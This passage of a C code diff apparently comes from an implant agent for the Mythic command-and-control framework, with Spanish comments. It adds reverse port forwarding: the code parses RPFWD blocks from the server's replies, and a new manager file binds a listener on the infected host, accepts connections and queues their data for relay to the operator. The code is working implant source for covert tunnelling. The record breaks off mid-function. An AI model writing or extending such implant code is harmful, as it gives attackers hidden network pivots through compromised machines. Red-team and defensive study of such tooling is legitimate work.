// Log first bytes of final buffer (show UUID + start of encrypted data)
|
|
||||||
_dbg("Final buffer preview (hex, first 100 bytes): ");
|
|
||||||
for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) {
|
|
||||||
_dbg(" %02x ", finalBuffer[i]);
|
|
||||||
if (i == UUID_LENGTH - 1) {
|
|
||||||
_dbg("| "); // Mark where UUID ends
|
|
||||||
}
|
|
||||||
if ((i + 1) % 32 == 0) _dbg("\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Log final buffer as readable string (first part should be UUID)
|
|
||||||
char finalPreview[101] = {0};
|
|
||||||
size_t previewLen = finalSize > 100 ? 100 : finalSize;
|
|
||||||
memcpy(finalPreview, finalBuffer, previewLen);
|
|
||||||
_dbg("Final buffer preview (ASCII, first 100 bytes): %.*s",
|
|
||||||
(int)previewLen, finalPreview);
|
|
||||||
_dbg("First 36 chars should be UUID: %.*s", 36, finalPreview);
|
|
||||||
|
|
||||||
// Cleanup temporary package
|
// Cleanup temporary package
|
||||||
LocalFree(dataPackage->buffer);
|
LocalFree(dataPackage->buffer);
|
||||||
LocalFree(dataPackage);
|
LocalFree(dataPackage);
|
||||||
@@ -229,16 +230,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Codificar en base64
|
// Codificar en base64
|
||||||
_dbg("=== BASE64 ENCODING ===");
|
|
||||||
_dbg("Binary size to encode: %zu bytes", tamanoAEnviar);
|
|
||||||
|
|
||||||
// Log binary data before base64
|
|
||||||
_dbg("Binary data preview (hex, first 80 bytes): ");
|
|
||||||
for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) {
|
|
||||||
_dbg(" %02x ", datosAEnviar[i]);
|
|
||||||
if ((i + 1) % 32 == 0) _dbg("\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
|
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
|
||||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
|
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
|
||||||
|
|
||||||
@@ -249,25 +240,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
}
|
}
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
_dbg("Base64 encoding complete");
|
|
||||||
_dbg("Tamaño después de base64: %zu bytes (expected: ~%zu bytes)",
|
|
||||||
tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3);
|
|
||||||
|
|
||||||
// Log base64 preview with more detail
|
|
||||||
if (paqueteParaMandar && tamanoDelPaquete > 0) {
|
|
||||||
size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete;
|
|
||||||
char preview[101] = {0};
|
|
||||||
memcpy(preview, paqueteParaMandar, previewLen);
|
|
||||||
_dbg("Base64 preview (first %zu chars): %s", previewLen, preview);
|
|
||||||
if (tamanoDelPaquete > 100) {
|
|
||||||
_dbg("... (total %zu chars)", tamanoDelPaquete);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Show where UUID should be in base64 (first 48 chars should be UUID base64)
|
|
||||||
_dbg("First 48 chars of base64 (should contain UUID): %.*s",
|
|
||||||
48, paqueteParaMandar);
|
|
||||||
}
|
|
||||||
_inf("=== READY TO SEND ===");
|
_inf("=== READY TO SEND ===");
|
||||||
_dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
|
_dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
|
||||||
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||||
@@ -477,6 +449,70 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
if (!found) {
|
if (!found) {
|
||||||
_dbg("No se encontró bloque SOCKS");
|
_dbg("No se encontró bloque SOCKS");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Buscar bloque RPFWD (similar a SOCKS pero con puerto)
|
||||||
|
cursor = len - 5;
|
||||||
|
found = FALSE;
|
||||||
|
_dbg("Buscando bloque RPFWD (marker 0xF2) en %zu bytes decodificados", len);
|
||||||
|
|
||||||
|
while (cursor > 0 && cursor < len - 4) {
|
||||||
|
if (buf[cursor] == (BYTE)RPFWD_BLOCK_MARKER) {
|
||||||
|
_dbg("¡Marcador 0xF2 (RPFWD) encontrado en offset %zu!", cursor);
|
||||||
|
|
||||||
|
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
||||||
|
_dbg("Bloque RPFWD: ext_len=%u", ext_len);
|
||||||
|
|
||||||
|
if (cursor + 5 + ext_len > len) {
|
||||||
|
_err("bloque RPFWD truncado");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T ecur = cursor + 5;
|
||||||
|
SIZE_T eend = cursor + 5 + ext_len;
|
||||||
|
while (ecur + 13 <= eend) { // 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13
|
||||||
|
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
|
||||||
|
BYTE exitf = buf[ecur+4];
|
||||||
|
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
|
||||||
|
UINT32 port = (buf[ecur+9] << 24) | (buf[ecur+10] << 16) | (buf[ecur+11] << 8) | buf[ecur+12];
|
||||||
|
ecur += 13;
|
||||||
|
|
||||||
|
if (ecur + b64len > eend) break;
|
||||||
|
|
||||||
|
unsigned char *raw = NULL;
|
||||||
|
size_t raw_len = 0;
|
||||||
|
char *b64str_rpfwd = NULL;
|
||||||
|
|
||||||
|
if (b64len > 0) {
|
||||||
|
b64str_rpfwd = (char*)LocalAlloc(LPTR, b64len + 1);
|
||||||
|
if (b64str_rpfwd) {
|
||||||
|
memcpy(b64str_rpfwd, buf + ecur, b64len);
|
||||||
|
b64str_rpfwd[b64len] = '\0';
|
||||||
|
_dbg("Decodificando base64 RPFWD: %s", b64str_rpfwd);
|
||||||
|
base64_decode(b64str_rpfwd, &raw, &raw_len);
|
||||||
|
_dbg("Base64 RPFWD decodificado: %zu bytes", raw_len);
|
||||||
|
LocalFree(b64str_rpfwd);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("Procesando RPFWD incoming: sid=%u exit=%u len=%zu port=%u", sid, exitf, raw_len, port);
|
||||||
|
rpfwd_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len, port);
|
||||||
|
|
||||||
|
if (raw) LocalFree(raw);
|
||||||
|
ecur += b64len;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Remover bloque RPFWD del analizador
|
||||||
|
respuesta->tamano = cursor;
|
||||||
|
_dbg("Bloque RPFWD procesado, tamaño ajustado a %zu", cursor);
|
||||||
|
found = TRUE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
cursor--;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!found) {
|
||||||
|
_dbg("No se encontró bloque RPFWD");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
_err("fallo al decodificar base64");
|
_err("fallo al decodificar base64");
|
||||||
|
|||||||
@@ -0,0 +1,757 @@
|
|||||||
|
#include "rpfwd_manager.h"
|
||||||
|
#include "debug.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include "utils.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#pragma comment(lib,"Ws2_32.lib")
|
||||||
|
typedef SOCKET sock_t;
|
||||||
|
#define CLOSESOCK(s) closesocket(s)
|
||||||
|
#else
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
typedef int sock_t;
|
||||||
|
#define INVALID_SOCKET -1
|
||||||
|
#define SOCKET_ERROR -1
|
||||||
|
#define CLOSESOCK(s) close(s)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
volatile int rpfwd_active = 0; // Flag global de estado RPFWD
|
||||||
|
|
||||||
|
typedef struct rpfwd_conn_entry {
|
||||||
|
uint32_t server_id;
|
||||||
|
sock_t sock;
|
||||||
|
uint32_t port; // Local port this connection is on
|
||||||
|
struct rpfwd_conn_entry *next;
|
||||||
|
int closed;
|
||||||
|
} rpfwd_conn_entry_t;
|
||||||
|
|
||||||
|
static rpfwd_conn_entry_t *conn_list = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
|
static CRITICAL_SECTION conn_lock;
|
||||||
|
#else
|
||||||
|
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct outgoing_node {
|
||||||
|
rpfwd_msg_t msg;
|
||||||
|
struct outgoing_node *next;
|
||||||
|
} outgoing_node_t;
|
||||||
|
static outgoing_node_t *out_head = NULL;
|
||||||
|
static outgoing_node_t *out_tail = NULL;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
static CRITICAL_SECTION out_lock;
|
||||||
|
#else
|
||||||
|
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static sock_t listener_sock = INVALID_SOCKET;
|
||||||
|
static uint16_t listener_port = 0;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
static HANDLE listener_thread_handle = NULL;
|
||||||
|
#else
|
||||||
|
static pthread_t listener_thread_id = 0;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* === Inicialización / limpieza === */
|
||||||
|
|
||||||
|
void rpfwd_manager_init(void) {
|
||||||
|
_inf("rpfwd_manager_init: INICIO");
|
||||||
|
static int initialized = 0;
|
||||||
|
if (initialized) {
|
||||||
|
_inf("rpfwd_manager_init: Ya inicializado, retornando");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
initialized = 1;
|
||||||
|
_inf("rpfwd_manager_init: Inicializando por primera vez...");
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
_inf("rpfwd_manager_init: Inicializando CriticalSections...");
|
||||||
|
InitializeCriticalSection(&conn_lock);
|
||||||
|
InitializeCriticalSection(&out_lock);
|
||||||
|
_inf("rpfwd_manager_init: Inicializando Winsock...");
|
||||||
|
WSADATA wsa;
|
||||||
|
int wsa_ret = WSAStartup(MAKEWORD(2,2), &wsa);
|
||||||
|
if (wsa_ret != 0) {
|
||||||
|
_err("rpfwd_manager_init: WSAStartup falló con error %d", wsa_ret);
|
||||||
|
} else {
|
||||||
|
_inf("rpfwd_manager_init: WSAStartup OK");
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
pthread_mutex_init(&conn_lock, NULL);
|
||||||
|
pthread_mutex_init(&out_lock, NULL);
|
||||||
|
#endif
|
||||||
|
_inf("rpfwd_manager_init: COMPLETADO");
|
||||||
|
}
|
||||||
|
|
||||||
|
void rpfwd_manager_cleanup(void) {
|
||||||
|
_dbg("rpfwd_manager_cleanup()");
|
||||||
|
rpfwd_manager_stop_listener();
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
rpfwd_conn_entry_t *cur = conn_list;
|
||||||
|
while (cur) {
|
||||||
|
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||||
|
rpfwd_conn_entry_t *n = cur->next;
|
||||||
|
free(cur);
|
||||||
|
cur = n;
|
||||||
|
}
|
||||||
|
conn_list = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
DeleteCriticalSection(&conn_lock);
|
||||||
|
DeleteCriticalSection(&out_lock);
|
||||||
|
WSACleanup();
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
pthread_mutex_destroy(&conn_lock);
|
||||||
|
pthread_mutex_destroy(&out_lock);
|
||||||
|
#endif
|
||||||
|
rpfwd_active = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Gestión de conexiones === */
|
||||||
|
|
||||||
|
static rpfwd_conn_entry_t* find_entry(uint32_t server_id) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
rpfwd_conn_entry_t *cur = conn_list;
|
||||||
|
while (cur) {
|
||||||
|
if (cur->server_id == server_id) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
return cur;
|
||||||
|
}
|
||||||
|
cur = cur->next;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static rpfwd_conn_entry_t* create_entry(uint32_t server_id, sock_t s, uint32_t port) {
|
||||||
|
rpfwd_conn_entry_t *e = malloc(sizeof(rpfwd_conn_entry_t));
|
||||||
|
if (!e) return NULL;
|
||||||
|
e->server_id = server_id;
|
||||||
|
e->sock = s;
|
||||||
|
e->port = port;
|
||||||
|
e->next = NULL;
|
||||||
|
e->closed = 0;
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
e->next = conn_list;
|
||||||
|
conn_list = e;
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
_dbg("create_entry sid=%u sock=%d port=%u", server_id, (int)s, port);
|
||||||
|
return e;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void remove_entry(uint32_t server_id) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
rpfwd_conn_entry_t *cur = conn_list, *prev = NULL;
|
||||||
|
while (cur) {
|
||||||
|
if (cur->server_id == server_id) {
|
||||||
|
if (prev) prev->next = cur->next;
|
||||||
|
else conn_list = cur->next;
|
||||||
|
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||||
|
_dbg("remove_entry sid=%u", server_id);
|
||||||
|
free(cur);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
prev = cur;
|
||||||
|
cur = cur->next;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Cola de salida === */
|
||||||
|
|
||||||
|
static void enqueue_outgoing(rpfwd_msg_t *m) {
|
||||||
|
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu port=%u", m->server_id, m->exit_flag, m->data_len, m->port);
|
||||||
|
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
|
||||||
|
memset(n,0,sizeof(*n));
|
||||||
|
n->msg.server_id = m->server_id;
|
||||||
|
n->msg.exit_flag = m->exit_flag;
|
||||||
|
n->msg.data_len = m->data_len;
|
||||||
|
n->msg.port = m->port;
|
||||||
|
if (m->data_len) {
|
||||||
|
n->msg.data = malloc(m->data_len);
|
||||||
|
memcpy(n->msg.data, m->data, m->data_len);
|
||||||
|
} else n->msg.data = NULL;
|
||||||
|
n->next = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&out_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&out_lock);
|
||||||
|
#endif
|
||||||
|
if (!out_tail) out_head = out_tail = n;
|
||||||
|
else { out_tail->next = n; out_tail = n; }
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&out_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&out_lock);
|
||||||
|
#endif
|
||||||
|
_dbg("Mensaje RPFWD encolado OK (sid=%u)", m->server_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Volcado de cola de salida === */
|
||||||
|
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx) {
|
||||||
|
_dbg("rpfwd_flush_outgoing: iniciando");
|
||||||
|
if (!cb) {
|
||||||
|
_err("ERROR: callback es NULL");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&out_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&out_lock);
|
||||||
|
#endif
|
||||||
|
outgoing_node_t *n = out_head;
|
||||||
|
out_head = out_tail = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&out_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&out_lock);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int count = 0;
|
||||||
|
while (n) {
|
||||||
|
count++;
|
||||||
|
_dbg("rpfwd_flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu port=%u)",
|
||||||
|
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len, n->msg.port);
|
||||||
|
outgoing_node_t *next = n->next;
|
||||||
|
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, n->msg.port, ctx);
|
||||||
|
if (n->msg.data) free(n->msg.data);
|
||||||
|
free(n);
|
||||||
|
n = next;
|
||||||
|
}
|
||||||
|
_dbg("rpfwd_flush_outgoing: completado (%d mensajes procesados)", count);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Generar server_id único === */
|
||||||
|
static uint32_t generate_server_id(void) {
|
||||||
|
// Generate random server_id (uint32_t)
|
||||||
|
// Use combination of time and random
|
||||||
|
#ifdef _WIN32
|
||||||
|
srand((unsigned int)(time(NULL) ^ GetCurrentProcessId()));
|
||||||
|
#else
|
||||||
|
srand((unsigned int)(time(NULL) ^ getpid()));
|
||||||
|
#endif
|
||||||
|
uint32_t sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
|
||||||
|
// Ensure it's unique by checking existing entries (limit iterations to avoid infinite loop)
|
||||||
|
int max_iterations = 100;
|
||||||
|
while (find_entry(sid) != NULL && max_iterations-- > 0) {
|
||||||
|
sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
|
||||||
|
}
|
||||||
|
if (max_iterations <= 0) {
|
||||||
|
_err("rpfwd ERROR: Could not generate unique server_id");
|
||||||
|
sid = 0;
|
||||||
|
}
|
||||||
|
return sid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Thread lector (lee de conexión local y envía a Mythic) === */
|
||||||
|
#ifdef _WIN32
|
||||||
|
DWORD WINAPI rpfwd_reader_thread(LPVOID arg);
|
||||||
|
#else
|
||||||
|
static void* rpfwd_reader_thread(void* arg);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct rpfwd_reader_args {
|
||||||
|
uint32_t server_id;
|
||||||
|
sock_t s;
|
||||||
|
uint32_t port;
|
||||||
|
} rpfwd_reader_args_t;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
DWORD WINAPI rpfwd_reader_thread(LPVOID arg) {
|
||||||
|
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
|
||||||
|
if (!ra) {
|
||||||
|
_err("rpfwd_reader_thread: arg is NULL");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
uint32_t sid = ra->server_id;
|
||||||
|
sock_t s = ra->s;
|
||||||
|
uint32_t port = ra->port;
|
||||||
|
free(ra);
|
||||||
|
_dbg("rpfwd_reader_thread iniciado para sid=%u socket=%d port=%u", sid, (int)s, port);
|
||||||
|
unsigned char *buf = (unsigned char*)malloc(4096);
|
||||||
|
if (!buf) {
|
||||||
|
_err("rpfwd_reader_thread: malloc failed");
|
||||||
|
CLOSESOCK(s);
|
||||||
|
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
|
||||||
|
enqueue_outgoing(&m2);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
int loop_count = 0;
|
||||||
|
while (1) {
|
||||||
|
loop_count++;
|
||||||
|
_dbg("rpfwd sid=%u loop #%d, llamando recv()...", sid, loop_count);
|
||||||
|
int r = recv(s, (char*)buf, 4096, 0);
|
||||||
|
_dbg("rpfwd sid=%u recv() retornó r=%d", sid, r);
|
||||||
|
if (r < 0) {
|
||||||
|
int err = WSAGetLastError();
|
||||||
|
_dbg("rpfwd WSAError=%d", err);
|
||||||
|
}
|
||||||
|
if (r <= 0) break;
|
||||||
|
_dbg("rpfwd sid=%u recibió %d bytes, encolando...", sid, r);
|
||||||
|
// Allocate new buffer for the message
|
||||||
|
unsigned char *msg_buf = (unsigned char*)malloc(r);
|
||||||
|
if (msg_buf) {
|
||||||
|
memcpy(msg_buf, buf, r);
|
||||||
|
rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
_dbg("rpfwd sid=%u datos encolados OK", sid);
|
||||||
|
} else {
|
||||||
|
_err("rpfwd_reader_thread: malloc for msg_buf failed");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_dbg("rpfwd sid=%u salió del loop, cerrando socket", sid);
|
||||||
|
free(buf);
|
||||||
|
_dbg("rpfwd reader sid=%u closing", sid);
|
||||||
|
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
|
||||||
|
enqueue_outgoing(&m2);
|
||||||
|
CLOSESOCK(s);
|
||||||
|
_dbg("rpfwd reader thread terminado para sid=%u", sid);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static void* rpfwd_reader_thread(void* arg) {
|
||||||
|
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
|
||||||
|
if (!ra) {
|
||||||
|
_err("rpfwd_reader_thread: arg is NULL");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
uint32_t sid = ra->server_id;
|
||||||
|
sock_t s = ra->s;
|
||||||
|
uint32_t port = ra->port;
|
||||||
|
free(ra);
|
||||||
|
unsigned char *buf = (unsigned char*)malloc(4096);
|
||||||
|
if (!buf) {
|
||||||
|
_err("rpfwd_reader_thread: malloc failed");
|
||||||
|
CLOSESOCK(s);
|
||||||
|
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
|
||||||
|
enqueue_outgoing(&m2);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
while (1) {
|
||||||
|
ssize_t r = recv(s, buf, 4096, 0);
|
||||||
|
if (r <= 0) break;
|
||||||
|
_dbg("rpfwd reader sid=%u recv=%zd", sid, r);
|
||||||
|
// Allocate new buffer for the message
|
||||||
|
unsigned char *msg_buf = (unsigned char*)malloc(r);
|
||||||
|
if (msg_buf) {
|
||||||
|
memcpy(msg_buf, buf, r);
|
||||||
|
rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
} else {
|
||||||
|
_err("rpfwd_reader_thread: malloc for msg_buf failed");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(buf);
|
||||||
|
_dbg("rpfwd reader sid=%u closing", sid);
|
||||||
|
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
|
||||||
|
enqueue_outgoing(&m2);
|
||||||
|
CLOSESOCK(s);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* === Thread listener (acepta conexiones locales) === */
|
||||||
|
#ifdef _WIN32
|
||||||
|
DWORD WINAPI rpfwd_listener_thread(LPVOID arg);
|
||||||
|
#else
|
||||||
|
static void* rpfwd_listener_thread(void* arg);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
DWORD WINAPI rpfwd_listener_thread(LPVOID arg) {
|
||||||
|
uint16_t port = *(uint16_t*)arg;
|
||||||
|
free(arg);
|
||||||
|
_inf("rpfwd_listener_thread iniciado en puerto %u", port);
|
||||||
|
|
||||||
|
struct sockaddr_in sa;
|
||||||
|
sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (listen_sock == INVALID_SOCKET) {
|
||||||
|
DWORD err = WSAGetLastError();
|
||||||
|
_err("rpfwd ERROR: socket() failed, WSAError=%lu", err);
|
||||||
|
rpfwd_active = 0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
_inf("rpfwd socket creado exitosamente");
|
||||||
|
|
||||||
|
// Set SO_REUSEADDR
|
||||||
|
int opt = 1;
|
||||||
|
if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt)) != 0) {
|
||||||
|
DWORD err = WSAGetLastError();
|
||||||
|
_wrn("rpfwd WARNING: setsockopt SO_REUSEADDR failed, WSAError=%lu (continuando...)", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(&sa, 0, sizeof(sa));
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_addr.s_addr = INADDR_ANY;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
|
||||||
|
if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||||
|
DWORD err = WSAGetLastError();
|
||||||
|
_err("rpfwd ERROR: bind() failed on port %u, WSAError=%lu", port, err);
|
||||||
|
if (err == WSAEACCES || err == 10013) {
|
||||||
|
_err("rpfwd ERROR: Puerto %u requiere privilegios de administrador (puertos privilegiados: <1024)", port);
|
||||||
|
_err("rpfwd ERROR: Sugerencia: Usa un puerto no privilegiado (>=1024), ej: 8080, 4444, 5555");
|
||||||
|
} else if (err == WSAEADDRINUSE || err == 10048) {
|
||||||
|
_err("rpfwd ERROR: Puerto %u ya está en uso", port);
|
||||||
|
} else {
|
||||||
|
_err("rpfwd ERROR: Error desconocido al hacer bind(), WSAError=%lu", err);
|
||||||
|
}
|
||||||
|
CLOSESOCK(listen_sock);
|
||||||
|
rpfwd_active = 0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
_inf("rpfwd bind exitoso en puerto %u", port);
|
||||||
|
|
||||||
|
if (listen(listen_sock, 10) != 0) {
|
||||||
|
DWORD err = WSAGetLastError();
|
||||||
|
_err("rpfwd ERROR: listen() failed, WSAError=%lu", err);
|
||||||
|
CLOSESOCK(listen_sock);
|
||||||
|
rpfwd_active = 0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
_inf("rpfwd listen exitoso");
|
||||||
|
|
||||||
|
listener_sock = listen_sock;
|
||||||
|
_inf("rpfwd listener escuchando en puerto %u (socket=%d)", port, (int)listen_sock);
|
||||||
|
|
||||||
|
while (rpfwd_active) {
|
||||||
|
struct sockaddr_in client_addr;
|
||||||
|
int addr_len = sizeof(client_addr);
|
||||||
|
_dbg("rpfwd esperando conexión en puerto %u...", port);
|
||||||
|
sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
|
||||||
|
|
||||||
|
if (client_sock == INVALID_SOCKET) {
|
||||||
|
DWORD err = WSAGetLastError();
|
||||||
|
if (!rpfwd_active) {
|
||||||
|
_inf("rpfwd listener deteniéndose (rpfwd_active=0)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (err != WSAEWOULDBLOCK && err != 0) {
|
||||||
|
_wrn("rpfwd accept() error: WSAError=%lu (continuando...)", err);
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generate unique server_id for this connection
|
||||||
|
uint32_t sid = generate_server_id();
|
||||||
|
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
|
||||||
|
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
|
||||||
|
|
||||||
|
// Set timeout
|
||||||
|
int timeout_ms = 60000; // 60s
|
||||||
|
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
|
||||||
|
|
||||||
|
// Create entry
|
||||||
|
create_entry(sid, client_sock, port);
|
||||||
|
|
||||||
|
// Spawn reader thread
|
||||||
|
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
|
||||||
|
if (!ra) {
|
||||||
|
_err("rpfwd ERROR: malloc failed for reader args");
|
||||||
|
CLOSESOCK(client_sock);
|
||||||
|
